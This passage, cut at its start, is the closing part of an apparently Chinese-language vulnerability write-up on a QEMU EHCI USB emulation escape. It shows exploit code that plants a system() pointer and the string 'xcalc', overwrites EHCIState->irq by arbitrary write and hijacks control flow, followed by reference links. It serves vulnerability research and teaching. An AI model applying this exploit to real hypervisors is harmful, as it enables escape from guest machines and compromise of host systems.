0x%llx\n" , irq_ptr); setup_state_data(); *(unsigned long *)(data_buf + 0x28 ) = system_plt; *(unsigned long *)(data_buf + 0x30 ) = dev_addr+0xdc +0x100 ; *(unsigned long *)(data_buf + 0x38 ) = 0x3 ; *(unsigned long *)(data_buf + 0x100 ) = 0x636c616378 ; do_copy_write(0 , 0xffff , 0xffff ); debug(); arb_write(irq_addr, fake_irq_addr); return 0 ; };
最终效果 覆盖EHCIState->irq为可控地址。
最终劫持控制流,执行system("xcalc")
。
参考文章 https://lyyl.online/posts/3399981355
https://xz.aliyun.com/t/8320?time__1311=n4%2BxnD0DcDuDgDjgD0x05fbDyDmhjiQG7GG0YeD
https://www.freebuf.com/vuls/247829.html
https://www.intel.com/content/dam/www/public/us/en/documents/technical-specifications/ehci-specification-for-usb.pdf